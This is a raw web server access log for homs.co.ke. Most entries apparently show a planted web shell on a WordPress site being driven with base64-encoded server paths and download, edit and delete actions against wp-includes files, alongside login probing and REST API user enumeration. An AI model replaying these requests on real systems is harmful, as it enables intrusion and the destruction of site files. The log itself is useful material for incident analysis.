+https://seranking.com/backlinks-crawler)" homs.co.ke 10.38.197.90 43.166.1.243 - - [07/Mar/2026:03:50:33 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-block-bindings-source.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 170.106.192.208 - - [07/Mar/2026:04:00:37 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&del=class-wp-block-bindings-source.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 45.141.233.210 - - [07/Mar/2026:04:02:48 -0700] "GET /wp-login.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" homs.co.ke 10.38.197.90 43.130.102.223 - - [07/Mar/2026:04:09:39 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&del=class-wp-block-editor-context.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 43.153.10.83 - - [07/Mar/2026:04:20:49 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&del=php-compat HTTP/1.1" 200 57649 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 43.173.182.167 - - [07/Mar/2026:04:21:51 -0700] "GET /?del=Core&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3NvZGl1bV9jb21wYXQvbmFtZXNwYWNlZA== HTTP/1.1" 200 5071 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.174.63 - - [07/Mar/2026:04:21:51 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-xmlrpc-server.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.181.161 - - [07/Mar/2026:04:21:51 -0700] "GET /?act=edit&file=class-IXR-date.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL0lYUg== HTTP/1.1" 200 5022 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.174.76 - - [07/Mar/2026:04:21:51 -0700] "GET /?del=class-wp-translation-file-php.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2wxMG4= HTTP/1.1" 200 5193 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.163.22.48 - - [07/Mar/2026:04:21:52 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-xmlrpc-server.php HTTP/1.1" 200 4021 "http://www.homs.co.ke/?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-xmlrpc-server.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.172.12 - - [07/Mar/2026:04:24:54 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL0lEMw== HTTP/1.1" 200 8194 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.177.170 - - [07/Mar/2026:04:24:54 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=ms-functions.php HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.173.186 - - [07/Mar/2026:04:24:54 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=ms-files.php HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.175.47 - - [07/Mar/2026:04:25:50 -0700] "GET /?act=download&file=class-wp-block-list.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.182.92 - - [07/Mar/2026:04:25:50 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3NvZGl1bV9jb21wYXQ= HTTP/1.1" 200 5510 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.169.173 - - [07/Mar/2026:04:25:50 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1BIUE1haWxlcg== HTTP/1.1" 200 4832 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.182.107 - - [07/Mar/2026:04:25:51 -0700] "GET /?act=download&file=class-wp-block-list.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://mail.homs.co.ke/?act=download&file=class-wp-block-list.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.174.210 - - [07/Mar/2026:04:26:54 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-block-metadata-registry.php HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.3" mail.homs.co.ke 10.38.197.90 43.173.174.17 - - [07/Mar/2026:04:26:54 -0700] "GET /?act=download&file=class-wp-html-decoder.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2h0bWwtYXBp HTTP/1.1" 200 4181 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.173.6 - - [07/Mar/2026:04:26:55 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-pop3.php HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 124.156.226.179 - - [07/Mar/2026:04:27:33 -0700] "GET / HTTP/1.1" 200 57649 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" mail.homs.co.ke 10.38.197.90 129.226.174.80 - - [07/Mar/2026:04:35:56 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&del=rest-api HTTP/1.1" 200 57649 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 198.199.103.128 - - [07/Mar/2026:04:41:42 -0700] "GET / HTTP/1.1" 200 57649 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" homs.co.ke 10.38.197.90 198.199.103.128 - - [07/Mar/2026:04:41:52 -0700] "GET /?rest_route=/wp/v2/users HTTP/1.1" 200 57649 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" homs.co.ke 10.38.197.90 170.106.148.137 - - [07/Mar/2026:04:44:59 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3RoZW1lLWNvbXBhdA== HTTP/1.1" 200 6034 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 49.51.183.75 - - [07/Mar/2026:04:54:11 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3dpZGdldHM= HTTP/1.1" 200 8208 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 43.159.132.207 - - [07/Mar/2026:05:04:00 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=atomlib.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 52.167.144.212 - - [07/Mar/2026:05:10:32 -0700] "GET /?n=6232368021440&mod=e6cc48e3&uri=category-info.php%3Fid%3D208678-48%26name%3Dhombre+pelo+lacio+cortes+muy+cortos+para+hombre HTTP/1.1" 409 83 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" homs.co.ke 10.38.197.90 49.51.141.76 - - [07/Mar/2026:05:13:27 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&del=class-IXR.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90